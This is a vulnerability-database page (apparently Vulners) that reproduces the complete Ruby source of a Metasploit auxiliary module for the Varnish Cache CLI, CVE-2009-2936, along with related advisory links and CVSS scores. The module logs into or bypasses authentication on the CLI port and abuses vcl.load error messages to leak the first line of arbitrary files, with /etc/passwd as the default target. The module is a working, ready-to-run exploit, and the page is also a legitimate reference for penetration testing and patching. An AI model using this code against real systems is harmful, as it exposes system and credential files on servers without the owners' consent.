Lucene search
+L

Varnish Cache CLI File Read

🗓️ 08 Apr 2017 13:15:07Reported by patrick, h00die <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 57 Views

Varnish Cache CLI File Read module attempts to read the first line of a file by abusing the error message when compiling a file with vcl.load

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Varnish Cache CLI Interface Remote Code Execution Exploit
21 Dec 201400:00
zdt
attackerkb
ATTACKERKB
CVE-2009-2936
5 Apr 201000:00
attackerkb
attackerkb
ATTACKERKB
CVE-2007-2617
11 May 200700:00
attackerkb
circl
Circl
CVE-2009-2936
29 May 201815:50
circl
cve
CVE
CVE-2009-2936
5 Apr 201016:00
cve
cvelist
Cvelist
CVE-2009-2936
5 Apr 201016:00
cvelist
debiancve
Debian CVE
CVE-2009-2936
5 Apr 201016:00
debiancve
exploitdb
Exploit DB
Varnish Cache CLI Interface - Remote Code Execution (Metasploit)
19 Dec 201400:00
exploitdb
exploitpack
exploitpack
Varnish Cache CLI Interface - Remote Code Execution (Metasploit)
19 Dec 201400:00
exploitpack
fedora
Fedora
[SECURITY] Fedora 13 Update: varnish-2.1.0-2.fc13
29 Apr 201007:10
fedora
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/tcp/client'
require 'metasploit/framework/varnish/client'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Metasploit::Framework::Varnish::Client

  def initialize
    super(
      'Name'           => 'Varnish Cache CLI File Read',
      'Description'    => 'This module attempts to read the first line of a file by abusing the error message when
                           compiling a file with vcl.load.',
      'References'     =>
        [
          [ 'OSVDB', '67670' ],
          [ 'CVE', '2009-2936' ],
          [ 'EDB', '35581' ],
          [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
        ],
      'Author'         =>
        [
          'patrick', #original module
          'h00die <[email protected]>' #updates and standardizations
        ],
      'License'         =>  MSF_LICENSE,
      'DefaultOptions'  =>  {
        'RPORT' => 6082
      }
    )

    register_options(
      [
        OptString.new('PASSWORD',  [ false, 'Password for CLI.  No auth will be automatically detected', '' ]),
        OptString.new('FILE',  [ false, 'File to read the first line of', '/etc/passwd' ])
      ])
  end

  def run_host(ip)
    # first check if we even need auth
    begin
      connect
      challenge = require_auth?
      close_session
      disconnect
      connect
      if !challenge
        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
      else
        if not login(datastore['PASSWORD'])
          vprint_error "#{ip}:#{rport} - Unable to Login"
          return
        end
      end
      # abuse vcl.load to load a varnish config file and save it to a random variable.  This will fail to give us the first line in debug message
      sock.get_once
      sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
      result = sock.get_once
      if result && result =~ /Line \d Pos \d+\)\n(.*)/
        vprint_good($1)
      else
        vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
      end
      close_session
      disconnect
    rescue Rex::ConnectionError, EOFError, Timeout::Error
      print_error "#{ip}:#{rport} - Unable to connect"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Aug 2019 23:10Current
6.3Medium risk
Vulners AI Score6.3
CVSS 27.5
EPSS0.63824
57